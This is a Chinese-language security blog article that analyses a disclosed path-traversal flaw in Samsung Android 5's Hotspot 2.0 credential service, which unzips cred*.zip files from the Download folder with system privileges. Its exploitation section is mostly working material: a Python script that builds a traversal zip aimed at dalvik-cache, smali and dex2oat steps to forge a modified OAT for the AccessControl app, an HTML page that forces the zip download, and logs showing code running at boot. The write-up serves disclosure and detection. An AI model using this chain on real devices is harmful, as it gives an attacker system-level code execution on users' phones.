Android滥用wifiCredService导致远程代码执行 - APT防御产品

Android滥用wifiCredService导致远程代码执行

本文具体分析了最近在Google漏洞赏金计划中披露的三星Android5设备漏洞[0],该漏洞由Google的Project Zero团队以及Quarkslab挖掘。据我们所知,该漏洞存在于所有三星搭载Android5的设备中,仅仅通过浏览站点,下载电子邮件中的附件,或者一个恶意的第三方软件便能够使用system user权限进行远程代码执行。
关于漏洞

搭载Android 5的三星设备中,一款uid为system的安卓应用监视着/sdcard/Download/目录操作,其用到基于inotify机制的Java FileObserver。当以cred开始.zip结尾的文件名写入这个特殊目录,将会调用一个例程来解压这个文档,完成之后再从/sdcard/Download/目录将其删除,从cred[something].zip文件中提取的文件会解压到/data/bundle/目录。

不幸的是,没有在文件名进行验证。这意味着一个以../为开头的文件名会被写入/data/bundle/之外的位置。攻击者便能够在任意位置写入任意内容而且还带system用户权限。如果系统用户权限足够,那我们可以随意创建新文件或者是覆盖现有文件。很明显,带系统用户权限写入文件可导致远程代码执行漏洞。

考虑到/sdcard/Download/为安卓浏览器默认的下载文件夹,并且GMail应用保存的附件也在这文件夹内,你又有一个远程代码执行漏洞…..

攻击向量

据我们所知,以下攻击向量可用来利用该漏洞:

1.通过任意浏览器访问一个站点(包括Google Chrome)
2.通过GMail应用保存邮件中的附件
3.安装一款安卓恶意软件

如何检测是否存在漏洞

我们希望快速简便的检测用户设备状态。为此我们给开源项目Android VTS[2]写了一个模块[1],因此你可以通过Android VTS快速的检测手中设备的状态。

以下为使用Android VTS进行检测的一个例子:

详细分析

以下分析都是在Samsung Galaxy S6设备上完成,漏洞代码位于Hs20Settings.apk应用之中。其注册一个名为WifiHs20BroadcastReceiver的广播接收器,在启动时或者触发WIFI事件(android.net.wifi.STATE_CHANGE)便执行。

需要注意的是,这个三星设备漏洞代码可能在其他位置。例如,Samsung Galaxy S5这个漏洞代码就在SecSettings.apk中。

当广播接收器通过前面两个条件之一触发时,会执行以下代码:

public void onReceive(Context context, Intent intent) {   [...]   String action = intent.getAction();   [...]   if("android.intent.action.BOOT_COMPLETED".equals(action)) {       serviceIntent = new Intent(context, WifiHs20UtilityService.class);       args = new Bundle();       args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);       serviceIntent.putExtras(args);       context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);   }   [...]}

对于每一个事件,都会有一个Intent来创建一个名为WifiHs20UtilityService的服务。注意观察服务中的构造函数,特别是onCreate()方法,它会创建一个新的WifiHs20CredFileObserver对象。

public void onCreate() {   super.onCreate();   Log.i("Hs20UtilService", "onCreate");   [...]   WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(           this,           Environment.getExternalStorageDirectory().toString() + "/Download/"   );   WifiHs20UtilityService.credFileObserver.startWatching();   [...]}

WifiHs20CredFileObserver被定义为FileObserver的Java子类:

class WifiHs20CredFileObserver extends FileObserver {

在安卓文档中FileObserver的定义:

android.os下的FileObserver类是一个用于监听文件访问、创建、修改、删除、移动等操作的监听器,基于linux的inotify。 FileObserver 是个抽象类,必须继承它才能使用。每个FileObserver对象监听一个单独的文件或者文件夹,如果监视的是一个文件夹,那么文件夹下所有的文件和级联子目录的改变都会触发监听的事件。

公共构造函数必须为监控事件指定一个路径和一个mask:

FileObserver(String path, int mask)

WifiHs20CredFileObserver的构造函数如下:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {   WifiHs20UtilityService.this = arg2;   super(path, 0xFFF);   this.pathToWatch = path;}

在上面的代码片段中,FileObserver所有的有效事件类型可以在/sdcard/Download/目录下查看,事实上mask 0xFFF就是为FileObserver.ALL_EVENTS准备的。为了搞清楚接收事件后会发生什么动作,我们还需要看看WifiHs20CredFileObserver中的onEvent()重载方法:

public void onEvent(int event, String fileName) {     WifiInfo wifiInfo;     Iterator i$;     String credInfo;     if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName
            .endsWith(".zip")))) {         Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +                 event);         if(fileName.endsWith(".conf")) {             try {                 credInfo = this.readSdcard(this.pathToWatch + fileName);                 if(credInfo == null) {                     return;                 }                 new File(this.pathToWatch + fileName).delete();                 i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();                 while(i$.hasNext()) {                     WifiHs20Timer.access$500(i$.next()).cancel();                 }                 WifiHs20UtilityService.this.expiryTimerList.clear();                 WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);                 wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();                 if(!wifiInfo.isCaptivePortal()) {                     return;                 }                 if(wifiInfo.getNetworkId() == -1) {                     return;                 }                 WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.                         mWifiManager.getConnectionInfo().getNetworkId(), null);             }             catch(Exception e) {                 e.printStackTrace();             }             return;         }         if(fileName.endsWith(".zip")) {             String zipFile = this.pathToWatch + "/cred.zip";             String unzipLocation = "/data/bundle/";             if(!this.installPathExists()) {                 return;             }             this.unzip(zipFile, unzipLocation);             new File(zipFile).delete();             credInfo = this.loadCred(unzipLocation);             if(credInfo == null) {                 return;             }             i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();             while(i$.hasNext()) {                 WifiHs20Timer.access$500(i$.next()).cancel();             }             WifiHs20UtilityService.this.expiryTimerList.clear();             Message msg = new Message();             Bundle b = new Bundle();             b.putString("cred", credInfo);             msg.obj = b;             msg.what = 42;             WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);             wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();             if(!wifiInfo.isCaptivePortal()) {                 return;             }             if(wifiInfo.getNetworkId() == -1) {                 return;             }             WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager
                    .getConnectionInfo().getNetworkId(), null);         }     }}

当接收到事件类型8(FileObserver.CLOSE_WRITE)时,对文件名以及动作的检测可能已经开始了。如果写入的文件以cred,.conf或.zip结尾便会执行一些处理,而在其他所有例子中,FileObserver会简单的略过。

当一个特殊的文件写入监控文件中,会发生以下两种情况:

1).conf文件:服务调用readSdcard()读取文件,然后将配置传递给WifiManager.modifyPasspointCred(),readSdcard()调用完成之后.conf文件被删除
2).zip文件:服务将其提取到/data/bundle/并调用loadCred()解析cred.conf提取出的内容,然后将loadCred()结果作为Bundle对象的参数调用WifiManager.callSECApi(),完成解压操作后文件被删除

第一种情况对于我们没有什么用,但是第二个有用哇有用哇有用哇。使用标准ZipInputStream类完成解压操作,这是一个大家都知道的秘密[4]如果没有对文件内的文件名进行验证,便可以进行目录遍历。该漏洞与@fuzion24报告的三星键盘更新机制漏洞类似[5]

以下为绿化版的unzip()函数,为了便于阅读将不重要的try/catch语句进行了删除:

private void unzip(String _zipFile, String _location) {    FileInputStream fin = new FileInputStream(_zipFile);    ZipInputStream zin = new ZipInputStream(((InputStream)fin));    ZipEntry zentry;    /* check if we need to create some directories ... */    while(true) {      label_5:        zentry = zin.getNextEntry();        if(zentry == null) {            // exit        }        Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());        if(!zentry.isDirectory()) {            break;        }        /* if the directory does'nt exist, the _dirChecker will create it */        this._dirChecker(_location, zentry.getName());    }    FileOutputStream fout = new FileOutputStream(_location + zentry.getName());    int c;    for(= zin.read(); c != -1; c = zin.read()) {        if(fout != null) {            fout.write(c);        }    }    if(zin != null) {      zin.closeEntry();    }    if(fout == null) {        goto label_45;    }    fout.close();label_45:    MimeTypeMap type = MimeTypeMap.getSingleton();    String fileName = new String(zentry.getName());    int i = fileName.lastIndexOf(46);    if(<= 0) {      goto label_5;    }    String v2 = fileName.substring(+ 1);    Log.v("Hs20UtilService", "Ext" + v2);    Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));    goto label_5;   }  }

我们可以注意到对于文档内的文件没有进行验证,存在目录遍历问题。因此,如果我们有一个名为cred.zip或者cred[something].zip写入/sdcard/Download/目录。WifiHs20CredFileObserver会自动(不需用户交互)将文件内容解压到/data/bundle/目录,之后删除.zip文件。由于没有对解压文件的文件名验证,在该文件夹内任何以../开头的解压文件都会被提取到/data/bundle/目录之外的位置,并且现有文件会被覆盖。最后请记住解压操作是系统用户完成的!

利用

首先我们随意建立一个zip文件,使用Python轻松实现:

from zipfile import ZipFilewith ZipFile("cred.zip", "w") as z:     z.writestr("../../path/filename", open("file", "rb").read())

接下来我们需要获得一个代码执行对吧?想在任意位置写入数据,你就得需要系统用户的权限,典型的解决方案就是覆盖dalvik-cache中的一些文件。在Android 5中dalvikvm用的很少,已经被ART所替代,对于ODEX文件来说都一样。OAT文件是由一个.apk文件通过包管理器调用dex2oat生成,并且生成的文件写入/data/dalvik-cache/目录(.dex后缀),然而我们依然可以使用这种方法执行代码。

不幸的是(这完全取决于你),覆盖dalvik-cache来获得代码执行现如今几乎是不可能的事情。在最近的rom中dalvik-cache目录是需要root权限的,SELinux才拥有写入权限[6][7].

早前搭载Android 5的三星rom,如G900FXXU1BNL9或者G900FXXU1BOB7就不包含这些SELinux规则。在这些rom中dalvik-cache目录事实上是属于root的,SELinux规则并没有阻止任意系统应用覆盖dalvik-cache(文件属于system)中的文件。我们考虑将其中一个rom作为本文例子,对于本文重在解释通过其他方法作为system用户来进行代码执行(不需写入dalvik-cache)来说这并不重要。

凭借dalvik-cache我们拥有一个可利用的rom,我们需要找到一个有趣的目标应用(运行uid为system)进行覆盖并解决如何生成我们的OAT文件。

寻找一个优秀的目标应用不是件简单事情,我们需要记住3个细节:

1.解压例程是有Java编写的,解压是一个字节一个字节完成,对于大文件来说速度相当缓慢
2.如果你覆盖正在运行的应用的OAT文件,这会导致崩溃
3.如何通过应用执行代码?

事实上,我们需要寻找一个相对较小的OAT文件并且几乎不常使用,以下为完美的候选人名单:

shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

查看应用程序的manifest,我们可以看到其通过注册一个广播接收器监听android.intent.action.BOOT_COMPLETED事件实现一个非常不错的“自动运行”功能

<manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">     <application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">         [...]        <receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">             <intent-filter>                 <action android:name="android.intent.action.BOOT_COMPLETED" />                 <action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />             </intent-filter>         </receiver>         [...]    </application></manifest>

因此,如果我们将自定义代码放入AccessControlReceiver类的onReceive()方法中,在每次启动时我们的代码都会被执行

接下来,验证我们的猜想!

首先我们需要AccessControl应用的原始代码:

> adb pull /system/app/AccessControl/arm/ . pull: building file list... pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/(72428 bytes in 0.258s)> ls AccessControl.odex.art.xz  AccessControl.odex.xz > xz -* > file * AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped AccessControl.odex.art: data

我们获得了一个ART ELF (OAT)文件,但是我们想要修改它的dalvik字节码。我们可以使用oat2dex提取相应的dalvik字节码[8]:

> python oat2dex.py /tmp/art/AccessControl.odex Processing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004 Got DEX size: 0xe944 Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file * [...] AccessControl.odex.0x2004.dex: Dalvik dex file version 035 [...] > baksmali AccessControl.odex.0x2004.dex -o smali

接下来在onReceive()方法中加入我们的自定义代码:

> find smali/ -iname '*receiver*' smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali > vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali [...] .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
  .registers 10    +  # adding the following code: +  const-string v0, "sh4ka" +  const-string v1, "boom!" +  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I [...] > smali smali/ -o classes.dex

为了构建我们修改过的DEX文件,再次使用dex2oat:

> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/(259095 bytes in 0.173s)> sudo chattr +AccessControl.apk > cp AccessControl.apk Modded.apk > zip -Modded.apk classes.dex > python -'print len("/system/app/AccessControl/AccessControl.apk")'43 > python -'print 43-len("/data/local/tmp/Modded.apk")'17 > mv Modded.apk Modded$(python -'print "1"*17').apk > ls AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali > adb push Modded11111111111111111.apk /data/local/tmp1144 KB/(284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat > adb pull /data/local/tmp/modified.oat .1208 KB/(172464 bytes in 0.139s)> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped > sed -'s/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat

最后我们可以构建zip文件来利用这个漏洞了:

> cat injectzip.py
import sys
from zipfile import ZipFile with ZipFile("cred.zip","w") as z:   z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat > zipinfo cred.zip Archive:  cred.zip Zip file size: 172750 bytes, number of entries: 1 ?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%

这里有多种方法触发这个漏洞,如迫使浏览器打开一个web页面下载这个zip文件:

<html> <head><script type="text/javascript">document.location="/cred.zip";</script></head> <body></body> </html>

或者仅仅是测试目的,可以通过打开adb将其传入/sdcard/Download/:

> adb push cred.zip /sdcard/Download/ > adb logcat WifiCredService:*:S --------- beginning of main --------- beginning of system
I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/cred.zip]8 V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
V/WifiCredService( 4599): Extdex V/WifiCredService( 4599): Mime Typenull

重启机器之后,应该会出现一些消息:

> adb reboot; adb logcat sh4ka:*:S - waiting for device - --------- beginning of system --------- beginning of main
F/sh4ka   ( 3613): boom!

这个方法并非是最优的,开动脑筋吧!欢迎再评论区写下你的答案,如果答案优秀我会通过小酒馆打赏10金币给你。

参考:

[0]https://code.google.com/p/google-security-research/issues/detail?id=489

[1]https://github.com/nowsecure/android-vts/commit/429c687fe03ef0db2999a36f2ec7d31101cd78da

[2]https://github.com/nowsecure/android-vts

[3]https://developer.android.com/reference/android/os/FileObserver.html

[4]https://www.securecoding.cert.org/confluence/display/java/IDS04-J.+Safely+extract+files+from+ZipInputStream

[5]https://www.nowsecure.com/keyboard-vulnerability/

[6]https://android-review.googlesource.com/#/c/155000/

[7]https://android-review.googlesource.com/#/c/127710/

[8]https://github.com/jakev/oat2dex-python/

[9]https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART.pdf


转载请注明出处 APT防御产品 » Android滥用wifiCredService导致远程代码执行

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址